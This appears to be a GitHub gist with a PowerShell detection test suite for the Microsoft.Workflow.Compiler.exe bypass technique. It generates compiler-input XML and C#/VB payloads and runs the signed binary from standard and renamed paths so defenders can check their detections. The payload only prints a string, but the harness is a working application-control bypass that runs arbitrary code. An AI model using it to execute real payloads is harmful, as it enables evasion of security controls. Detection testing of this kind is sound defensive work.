Skip to content

Instantly share code, notes, and snippets.

@mattifestation
Created August 20, 2018 21:33
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save mattifestation/3e28d391adbd7fe3e0c722a107a25aba to your computer and use it in GitHub Desktop.
Save mattifestation/3e28d391adbd7fe3e0c722a107a25aba to your computer and use it in GitHub Desktop.
Microsoft.Workflow.Compiler.exe bypass technique detection test suite
function Test-MSWorkflowCompilerDetection {
[CmdletBinding()]
param (
[String]
[ValidateNotNullOrEmpty()]
$Arg1FileName = 'Test.xml',
[String]
[ValidateNotNullOrEmpty()]
$Arg2FileName = 'Results.xml',
[String]
[ValidateNotNullOrEmpty()]
$PayloadPath = 'Payload.xoml',
[Switch]
$PackageInXoml,
[String]
[ValidateSet('CSharp', 'VB')]
$PayloadLanguage = 'CSharp',
[String]
[ValidateNotNullOrEmpty()]
$WorkflowCompilerDestinationPath,
[String]
[ValidateNotNullOrEmpty()]
$StdoutFilePath = 'stdout.txt',
[String]
[ValidateNotNullOrEmpty()]
$StderrFilePath = 'stderr.txt'
)
$CSharpPayload = @'
public class Foo : SequentialWorkflowActivity {
public Foo() {
Console.WriteLine("FOOO!!!!");
}
}
'@
$VBDotNetPayload = @'
Class Foo : Inherits SequentialWorkflowActivity
Public Sub New()
Console.WriteLine("FOOO!!!!")
End Sub
End Class
'@
$XOMLTemplate = @'
<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="MyWorkflow" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
<CodeActivity x:Name="codeActivity1" />
<x:Code><![CDATA[
INSERTPAYLOADHERE
]]></x:Code>
</SequentialWorkflowActivity>
'@
# Split out payload path path and filename
$PartialPath = Split-Path -Path $PayloadPath -Parent
$Filename = Split-Path -Path $PayloadPath -Leaf
if (($PartialPath -eq '') -or ($PartialPath -eq '.')) {
# A relative path was supplied. Expand the current working directory.
$PayloadFullPath = Join-Path -Path $PWD.Path -ChildPath $Filename
} else {
# A full path was supplied
$PayloadFullPath = Join-Path -Path $PartialPath -ChildPath $Filename
}
# Split out CompilerInput path and filename
$PartialPath = Split-Path -Path $Arg1FileName -Parent
$Filename = Split-Path -Path $Arg1FileName -Leaf
if (($PartialPath -eq '') -or ($PartialPath -eq '.')) {
# A relative path was supplied. Expand the current working directory.
$CompilerInputOptionsPath = Join-Path -Path $PWD.Path -ChildPath $Filename
} else {
# A full path was supplied
$CompilerInputOptionsPath = Join-Path -Path $PartialPath -ChildPath $Filename
}
# Split out payload compilation results path and filename
$PartialPath = Split-Path -Path $Arg2FileName -Parent
$Filename = Split-Path -Path $Arg2FileName -Leaf
if (($PartialPath -eq '') -or ($PartialPath -eq '.')) {
# A relative path was supplied. Expand the current working directory.
$PayloadCompilationResultsPath = Join-Path -Path $PWD.Path -ChildPath $Filename
} else {
# A full path was supplied
$PayloadCompilationResultsPath = Join-Path -Path $PartialPath -ChildPath $Filename
}
$CompilerInputTemplate = @"
<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>$($PayloadFullPath)</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>$($PayloadLanguage)</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
<d2p1:mtInfo i:nil="true" />
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
</parameters>
</CompilerInput>
"@
#region Pre-test environmental checks
# Obtain the standard path to Microsoft.Workflow.Compiler.exe so that it can:
# 1) Be invoked from the standard path/filename
# 2) Be copied to a non-standard path/filename
$WorkflowCompilerPath = [Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory() + 'Microsoft.Workflow.Compiler.exe'
# Validate that the EXE exists prior to attempting detection tests.
if (-not (Get-Command $WorkflowCompilerPath -ErrorAction SilentlyContinue)) {
Write-Error @"
Microsoft.Workflow.Compiler.exe is not present in the following path: $WorkflowCompilerPath
Microsoft.Workflow.Compiler.exe must exist in order to conduct detection tests.
"@
return
}
if ($PackageInXoml -and (-not $PayloadPath.EndsWith('.xoml'))) {
Write-Error "The payload filename must have a .xoml file extension when the XOML payload type is specified."
return
}
if ($WorkflowCompilerDestinationPath -and (-not (Test-Path -Path (Split-Path -Path $WorkflowCompilerDestinationPath -Parent)))) {
Write-Error 'The specified workflow compiler destination path does not exist. Ensure the directory exists before attempting to copy Microsoft.Workflow.Compiler.exe to it.'
return
}
#endregion
switch ($PayloadLanguage) {
'CSharp' {
if ($PackageInXoml) {
$PayloadContent = $CSharpPayload
} else {
$PayloadContent = @"
using System;
using System.Workflow.Activities;
$CSharpPayload
"@
}
}
'VB' {
if ($PackageInXoml) {
$PayloadContent = $VBDotNetPayload
} else {
$PayloadContent = @"
Imports System
Imports System.Workflow.Activities
$VBDotNetPayload
"@
}
}
}
# Copy Microsoft.Workflow.Compiler.exe to a non-standard path/filename.
if ($WorkflowCompilerDestinationPath) {
$CopiedWorkflowCompiler = Copy-Item -Path $WorkflowCompilerPath -Destination $WorkflowCompilerDestinationPath -Force -PassThru
$WorkflowCompilerPath = $CopiedWorkflowCompiler.FullName
}
if ($PackageInXoml) {
$Payload = $XOMLTemplate.Replace('INSERTPAYLOADHERE', $PayloadContent)
} else {
$Payload = $PayloadContent
}
# Write the payload to disk
Out-File -InputObject $Payload -Encoding ascii -FilePath $PayloadFullPath -Force
$PayloadFile = Get-Item -Path $PayloadFullPath
# Write the CompilerInput options to disk
Out-File -InputObject $CompilerInputTemplate -Encoding ascii -FilePath $CompilerInputOptionsPath -Force
$CompilerInputContent = Get-Item -Path $CompilerInputOptionsPath
$CommandLineInvocation = "`"$WorkflowCompilerPath`" `"$CompilerInputOptionsPath`" `"$PayloadCompilationResultsPath`""
$ProcessArguments = @{
FilePath = $WorkflowCompilerPath
ArgumentList = @("`"$CompilerInputOptionsPath`"", "`"$PayloadCompilationResultsPath`"")
RedirectStandardOutput = $StdoutFilePath
RedirectStandardError = $StderrFilePath
NoNewWindow = $True
Wait = $True
}
$Result = Start-Process @ProcessArguments
if ((Get-Item -Path $StdoutFilePath)) {
$StdoutContents = Get-Content $StdoutFilePath -Raw -ErrorAction SilentlyContinue
$ExpectedStdout = $False
if ($StdoutContents.Trim() -eq 'FOOO!!!!') { $ExpectedStdout = $True }
}
$PayloadCompilationResults = Get-Item -Path $PayloadCompilationResultsPath
# Output results for independant evaluation
# e.g. you could write Pester tests to validate detections against what
# Test-MSWorkflowCompilerDetection generated/executed.
[PSCustomObject] @{
CommandLine = $CommandLineInvocation
WorkflowCompilerPath = (Get-Item -Path $WorkflowCompilerPath)
CompilerInputPath = $CompilerInputContent
CompilerInputContents = ($CompilerInputContent | Get-Content -Raw -ErrorAction SilentlyContinue)
PayloadPath = $PayloadFile
PayloadContent = ($PayloadFile | Get-Content -Raw -ErrorAction SilentlyContinue)
ExpectedStdout = $ExpectedStdout
StdoutContents = $StdoutContents
CompilationResultsPath = $PayloadCompilationResults
CompilationResultsContent = ($PayloadCompilationResults | Get-Content -Raw -ErrorAction SilentlyContinue)
}
#region Cleanup
if ($CopiedWorkflowCompiler) { $CopiedWorkflowCompiler | Remove-Item }
if ($PayloadFile) { $PayloadFile | Remove-Item }
if ($CompilerInputContent) { $CompilerInputContent | Remove-Item }
if ($PayloadCompilationResults) { $PayloadCompilationResults | Remove-Item }
Remove-Item -Path $StdoutFilePath -ErrorAction SilentlyContinue
Remove-Item -Path $StderrFilePath -ErrorAction SilentlyContinue
#endregion
}
<# Test components that will form the basis for test permutations:
* Microsoft.Workflow.Compiler.exe path - standard vs. non-standard
* Microsoft.Workflow.Compiler.exe filename - "Microsoft.Workflow.Compiler.exe" versus anything else
* Payload language: C# vs. VB.NET - i.e. the only two supported languages
* Payload packaging: .xoml vs. direct payload w/ arbitrary file extension.
Test parameters that are out of my control in this script:
* Usage of different versions of Microsoft.Workflow.Compiler.exe - i.e. different file hashes
* Please, for the love of God, do not build detections based on blacklisted file hashes.
An attacker can generate an infinite number of file hash variants without invalidating the signature.
#>
# These test suites are begging for Pester tests. :)
# Additional improvements: generate random filenames (or don't be tempted to build detections off static filenames)
#region Test suite #1: Microsoft.Workflow.Compiler.exe executes from its expected path/filename
$TestSuite1Results = @(
(Test-MSWorkflowCompilerDetection -Arg1FileName test.xml -Arg2FileName results.xml -PayloadPath foo.xoml -PackageInXoml -PayloadLanguage CSharp),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.txt -Arg2FileName results.txt -PayloadPath foo.xoml -PackageInXoml -PayloadLanguage CSharp),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.xml -Arg2FileName results.xml -PayloadPath foo.xoml -PackageInXoml -PayloadLanguage VB),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.txt -Arg2FileName results.txt -PayloadPath foo.xoml -PackageInXoml -PayloadLanguage VB),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.xml -Arg2FileName results.xml -PayloadPath payload.txt -PayloadLanguage CSharp),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.txt -Arg2FileName results.txt -PayloadPath payload.txt -PayloadLanguage CSharp),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.xml -Arg2FileName results.xml -PayloadPath payload.txt -PayloadLanguage VB),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.txt -Arg2FileName results.txt -PayloadPath payload.txt -PayloadLanguage VB)
)
# Validate that everything returned properly
$TestSuite1Results | ? { -not $_.ExpectedStdout }
#endregion
#region Test suite #2: Microsoft.Workflow.Compiler.exe executing with its standard filename but executing within a non-standard path (current working directory)
$WorkflowCompilerPath = @{ WorkflowCompilerDestinationPath = "$PWD\Microsoft.Workflow.Compiler.exe" }
$TestSuite2Results = @(
(Test-MSWorkflowCompilerDetection -Arg1FileName test.xml -Arg2FileName results.xml -PayloadPath foo.xoml -PackageInXoml -PayloadLanguage CSharp @WorkflowCompilerPath),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.txt -Arg2FileName results.txt -PayloadPath foo.xoml -PackageInXoml -PayloadLanguage CSharp @WorkflowCompilerPath),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.xml -Arg2FileName results.xml -PayloadPath foo.xoml -PackageInXoml -PayloadLanguage VB @WorkflowCompilerPath),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.txt -Arg2FileName results.txt -PayloadPath foo.xoml -PackageInXoml -PayloadLanguage VB @WorkflowCompilerPath),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.xml -Arg2FileName results.xml -PayloadPath payload.txt -PayloadLanguage CSharp @WorkflowCompilerPath),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.txt -Arg2FileName results.txt -PayloadPath payload.txt -PayloadLanguage CSharp @WorkflowCompilerPath),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.xml -Arg2FileName results.xml -PayloadPath payload.txt -PayloadLanguage VB @WorkflowCompilerPath),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.txt -Arg2FileName results.txt -PayloadPath payload.txt -PayloadLanguage VB @WorkflowCompilerPath)
)
# Validate that everything returned properly
$TestSuite2Results | ? { -not $_.ExpectedStdout }
#endregion
#region Test suite #3: Microsoft.Workflow.Compiler.exe executing with a non-standard path and filename
$WorkflowCompilerPath = @{ WorkflowCompilerDestinationPath = "$PWD\foo.exe" }
$TestSuite3Results = @(
(Test-MSWorkflowCompilerDetection -Arg1FileName test.xml -Arg2FileName results.xml -PayloadPath foo.xoml -PackageInXoml -PayloadLanguage CSharp @WorkflowCompilerPath),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.txt -Arg2FileName results.txt -PayloadPath foo.xoml -PackageInXoml -PayloadLanguage CSharp @WorkflowCompilerPath),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.xml -Arg2FileName results.xml -PayloadPath foo.xoml -PackageInXoml -PayloadLanguage VB @WorkflowCompilerPath),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.txt -Arg2FileName results.txt -PayloadPath foo.xoml -PackageInXoml -PayloadLanguage VB @WorkflowCompilerPath),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.xml -Arg2FileName results.xml -PayloadPath payload.txt -PayloadLanguage CSharp @WorkflowCompilerPath),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.txt -Arg2FileName results.txt -PayloadPath payload.txt -PayloadLanguage CSharp @WorkflowCompilerPath),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.xml -Arg2FileName results.xml -PayloadPath payload.txt -PayloadLanguage VB @WorkflowCompilerPath),
(Test-MSWorkflowCompilerDetection -Arg1FileName test.txt -Arg2FileName results.txt -PayloadPath payload.txt -PayloadLanguage VB @WorkflowCompilerPath)
)
# Validate that everything returned properly
$TestSuite3Results | ? { -not $_.ExpectedStdout }
#endregion
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment